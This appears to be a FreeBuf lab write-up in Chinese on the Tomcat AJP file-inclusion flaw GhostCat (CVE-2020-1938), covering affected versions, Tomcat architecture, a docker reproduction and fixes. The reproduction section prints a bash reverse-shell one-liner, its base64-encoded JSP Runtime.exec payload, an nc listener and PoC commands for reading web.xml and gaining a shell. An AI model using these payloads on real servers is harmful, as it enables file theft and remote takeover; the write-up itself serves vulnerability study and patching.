freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Tomcat AJP文件包含漏洞(CVE-2020-1938)
2023-02-22 16:45:24
所属地 陕西省

一、漏洞简介

由于Tomcat在处理AJP请求时,未对请求做任何验证,通过设置APJ连接器封装的request对象的属性,导致产生了任意文件读取漏洞和代码执行漏洞。

CVE-2020-1938又名GhostCat,之前引起了一场风雨,由长亭科技安全研究员发现的存在与Tomcat中的安全漏洞,由于Tomcat AJP协议设计上存在缺陷,攻击者通过Tomcat AJP Connector可以读取或包含Tomcat上所有webapp目录下的任意文件,例如可以读取webapp配置文件或源代码,此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

二、影响版本

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

(影响说明:读取webapp下的所有文件)

三、漏洞源码分析

漏洞成因时两个配置文件导致:

Tomcat在部署时有两个重要文件conf/server.xml,conf/web.xml。前者定义了tomcat启动时涉及的组件属性,其中包含两个connector(用于处理请求的组件):

1677055246_63f5d50e7a51a37c08089.png!small?1677055247563

如果开启状态下,tomcat启动后会监听8080,8009端口,它们分别负责接受http,ajp协议的数据,后者则和普通的java Web应用一样,用来定义servlet,这里是tomcat内建的几个servlet。

1677055255_63f5d5175f6424fad5572.png!small?16770552565031677055261_63f5d51d35f9df8a713a6.png!small?1677055262383

就像注解中描述的default servlet用来处理所有未被匹配到其他servlet的url请求,jsp servlet用来处理以.jsp,.jspxz做后缀名的url请求,这两都随tomcat一起启动。

tomcat结构简介详解:

1677055269_63f5d525c66e9b77806fc.png!small?1677055271024

tomcat的整体架构如上图所示,一个tomcat就是一个server,其中可以包含多个service(这里指的是一个抽象的逻辑层)。而每个serviceConnectorContainerJsp引擎,日志等组件构成,与此次漏洞相关的组件主要是前两者。

Connector是用来接收客户端的请求,请求中的数据包在被Connector解析后就会由Container处理,这个过程大致如下图:

1677055277_63f5d52d10bce943e5478.png!small?1677055278482

Container中可以包含多个Host(虚拟主机,同Apache中定义),一个Host对应一个域名,因此Tomcat也可以配置多域名,每个Host又可以有多个Context,每个context其实就是一个web应用,而context下又有多个Wrapper,wrapper和servlet一一对应,只是它封装了一些管理servlet的函数,更近一步,客户端请求就交由servlet进入应用级的处理逻辑。

四、漏洞复现

cd CVE-2020-1938/

docker-compose up -d

1677055293_63f5d53d5817577ab2eb1.png!small?1677055294593

1、访问链接:http://192.168.111.133:8080/

1677055301_63f5d54569fe690d5ff9c.png!small?1677055302682

2、下载利用POC进行攻击。

下载地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

该脚本在python2环境下执行。

python2 1.py 192.168.111.133 -p 8009 -f /WEB-INF/web.xml

1677055310_63f5d54e09f5a9c30c572.png!small?1677055311343

成功读取到/WEB/web.xml文件的源码!

3、漏洞复现-文件包含RCE。

该漏洞可以将任意文件类型解析为jsp,从而达到任意命令的效果,但漏洞需要配合文件上传漏洞才可利用,假设目标服务器已经有了一个shell.png,里面的内容是执行任意命令,可以执行以下命令得到命令执行结果在线bash payload生成。

bash -i >& /dev/tcp/192.168.111.129/4444 0>&1


因为正常的执行语句里面不能带空格和管道符,我们对bash脚本进行base64编码。

1677055320_63f5d558accb58e6ad74b.png!small?1677055321682

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNDQ0NCAwPiYx


最终的payload。

<%Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");%>

我们将payload写道cmd.txt中。

1677055328_63f5d560ceef1c7364f88.png!small?1677055329882

将cmd.txt上传到/usr/local/tomcat/webapps/ROOT目录中。

docker cp /home/wangkun/桌面/cmd.txt 6900d2621470:/usr/local/tomcat/webapps/ROOT1677055356_63f5d57c86eb72a6e23f1.png!small?1677055357963

接下来,我们在kali开启监听。

nc -lvvp 4444

1677055370_63f5d58a4fe95a8756afc.png!small?1677055371343利用脚本下载链接:https://github.com/00theway/Ghostcat-CNVD-2020-10487

下载好脚本后,我们给py脚本加上权限,然后执行下面命令。

chmod +X ajpShooter.py

python3 ajpShooter.py http://192.168.111.133 8009 /cmd.txt eval

1677055378_63f5d592f0a2c63a47cfa.png!small?1677055380333

连续执行三次,成功反弹回来shell。

1677055389_63f5d59db05224daa66b8.png!small?1677055391063

五、修复建议

1、将Tomcat立即升级到9.0.31,8.5.51或7.0.100版本进行修复。

2、禁用AJP协议

具体方法:编辑/conf/server.xml,找到如下行:

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />

将此行注释掉(也可删除掉该行):

<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->

3、配置secret来设置AJP协议的认证凭证。

例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高,无法被轻易猜解的指):

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>

# 漏洞复现
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录